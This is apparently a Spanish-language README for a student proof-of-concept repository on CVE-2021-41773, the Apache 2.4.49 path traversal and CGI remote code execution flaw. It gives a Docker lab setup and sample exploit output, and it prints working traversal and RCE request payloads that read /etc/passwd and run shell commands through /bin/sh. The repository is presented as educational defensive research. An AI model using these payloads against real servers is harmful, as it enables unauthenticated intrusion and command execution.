
Un análisis exhaustivo de CVE-2021-41773 (Apache HTTP Server 2.4.49), que incluye investigación de vulnerabilidades, explotación controlada en laboratorio, desarrollo de prueba de concepto, análisis de causa raíz y estrategias de mitigación con fines educativos y de seguridad defensiva.
Proyecto de investigación educativa. Todas las pruebas se realizaron en un laboratorio Docker aislado. No lo utilices contra ningún sistema que no sea de tu propiedad.
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2021-41773 |
| Software afectado | Apache HTTP Server 2.4.49 únicamente |
| Tipo de vulnerabilidad | Path Traversal → Ejecución remota de código |
| Puntuación CVSS | 9.8 (Crítica) |
| Divulgada | Octubre de 2021 |
| Corregida en | Apache 2.4.51 |
Apache 2.4.49 no normaliza correctamente las secuencias de rutas codificadas en URL (%2e%2e) antes de aplicar las reglas de control de acceso. Esto permite a un atacante salir fuera de la raíz web. Cuando CGI está habilitado, apuntar el traversal a /bin/sh y enviar comandos de shell en el cuerpo de una petición POST resulta en ejecución remota de código sin autenticación.
cve-2021-41773-poc/
├── Dockerfile # Contenedor de laboratorio Apache 2.4.49 intencionalmente vulnerable
├── exploit.py # PoC en Python — usa sockets crudos para preservar la codificación %2e
├── SETUP.md # Guía de configuración del laboratorio paso a paso
├── README.md # Este archivo
└── report.pdf # Informe completo del desarrollo del exploit
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Solo uso en laboratorio
==================================================
[+] Objetivo accesible — HTTP 200
[*] Path Traversal — Leyendo /etc/passwd
[*] Estado: 403
[-] Bloqueado (403) — restricciones del servidor activas
[*] RCE — Ejecutando: id
[*] Estado: 200
[+] SALIDA:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Ejecutando: whoami
[*] Estado: 200
[+] SALIDA:
daemon
[*] RCE — Ejecutando: hostname
[*] Estado: 200
[+] SALIDA:
e4ccca07bee7
Consulta SETUP.md para obtener las instrucciones completas de configuración y resolución de problemas.
La librería requests normaliza %2e → . antes de enviar, lo que rompe el exploit (devuelve 400). Este PoC usa sockets crudos para enviar la petición HTTP byte a byte, preservando la secuencia de traversal codificada exactamente como Apache 2.4.49 necesita recibirla.
Payload de traversal:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Payload de RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache no logra decodificar %2e%2e antes de las comprobaciones de ACL, procesa la petición, la enruta a través de CGI y ejecuta el cuerpo de la petición POST como un comando de shell.
Require all granted en /Abdur Rehman Siddiqui
Desarrollo de Exploits — Tarea 3
Este repositorio es solo con fines educativos. El autor no es responsable del mal uso de este material.